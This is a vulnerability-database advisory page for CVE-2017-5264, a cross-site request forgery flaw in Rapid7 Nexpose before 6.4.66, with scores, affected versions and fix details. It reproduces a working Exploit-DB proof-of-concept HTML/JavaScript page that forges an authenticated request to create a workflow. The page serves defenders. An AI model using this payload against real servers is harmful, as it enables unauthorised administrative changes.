CVE-2017-5264

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Published 2017-12-14 · Modified 2026-05-13

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CVSS v3

8.8

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

9.8

Description

Versions of Nexpose prior to 6.4.66 fail to adequately validate the source of HTTP requests intended for the Automated Actions administrative web application, and are susceptible to a cross-site request forgery (CSRF) attack.

Predictions

Exploit likelihood

92%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43911 webapps multiple text · 3 KB

Shwetabh Vishnoi · 2018-01-28

Nexpose < 6.4.66 - Cross-Site Request Forgery

text exploit Source: Exploit-DB

# Exploit Title: [Cross Site Request Forgery at Nexpose Automated Actions]
# Release Date: [2017-12-13]
# Exploit Author: [Shwetabh Vishnoi]
# Link: https://www.linkedin.com/in/shwetabhvishnoi
# Vendor Homepage: [https://www.rapid7.com/]
# Software Link: [https://www.rapid7.com/products/nexpose/download/]
# Tested on: [Windows,Linux,Mac]
# CVE : [CVE-2017-5264]
# Solution: Update to 6.4.66
# Affected Version(s): Rapid7 Nexpose 6.4.65
Rapid7 Nexpose 6.4.13
Rapid7 Nexpose 6.4.12
Rapid7 Nexpose 5.8.6
Rapid7 Nexpose 5.8
Rapid7 Nexpose 5.7.5
Rapid7 Nexpose 5.5.4
Rapid7 Nexpose 5.5.3
Rapid7 Nexpose 5.4.8
Rapid7 Nexpose 5.4.7
Rapid7 Nexpose 5.4.6
Rapid7 Nexpose 5.5.8
Rapid7 Nexpose 5.5.7
Rapid7 Nexpose 5.5.6
Rapid7 Nexpose 5.5.5
Rapid7 Nexpose 5.5.1
Rapid7 Nexpose 5.4.9
Rapid7 Nexpose 5.4.5
Rapid7 Nexpose 5.4.4
Rapid7 Nexpose 5.4.3
Rapid7 Nexpose 5.4.2
Rapid7 Nexpose 5.4.12
Rapid7 Nexpose 5.4.11
Rapid7 Nexpose 5.4.10
Rapid7 Nexpose 5.4.1
Rapid7 Nexpose 5.4

Description: Versions of Nexpose prior to 6.4.66 fail to adequately
validate the source of HTTP requests intended for the Automated
Actions administrative web application, and are susceptible to a
cross-site
request forgery (CSRF) attack.

Affected URL/endpoint:
https://nexpose-server.com/eso/conductor-service/api/workflows

Proof Of Concept:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST",
"https:\/\/nexpose-server.com\/eso\/conductor-service\/api\/workflows\/",
true);
        xhr.setRequestHeader("Accept", "application\/json,
text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        var body =
"{\"name\":\"test2\",\"steps\":[{\"serviceName\":\"nexpose\",\"stepConfiguration\":{\"typeName\":\"discover-known-assets\",\"previousTypeName\":\"\",\"configurationParams\":{\"valueClass\":\"Object\",\"objectType\":\"siteMetadata\",\"properties\":{\"siteID\":{\"valueClass\":\"Array\",\"items\":[{\"valueClass\":\"Integer\",\"value\":67}]},\"VULN_CATEGORY\":{\"valueClass\":\"Array\",\"items\":[{\"valueClass\":\"Object\",\"objectType\":\"VULN_CATEGORY_ITEM\",\"properties\":{\"operator\":{\"valueClass\":\"String\",\"value\":\"CONTAINS\"},\"operand1\":{\"valueClass\":\"String\",\"value\":\"dos\"}}}]}}}}},{\"serviceName\":\"nexpose\",\"stepConfiguration\":{\"typeName\":\"tag\",\"previousTypeName\":\"discover-known-assets\",\"configurationParams\":{\"valueClass\":\"Object\",\"objectType\":\"tag\",\"properties\":{\"tagID\":{\"value\":339,\"valueClass\":\"Integer\",\"text\":\"Test\"}}}}}]}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>

Application impact

Vendor	Product	Versions	Fixed
rapid7	nexpose	`{"endExcluding":"6.4.66"}`	`6.4.66`

References

CWEs

CWE-352

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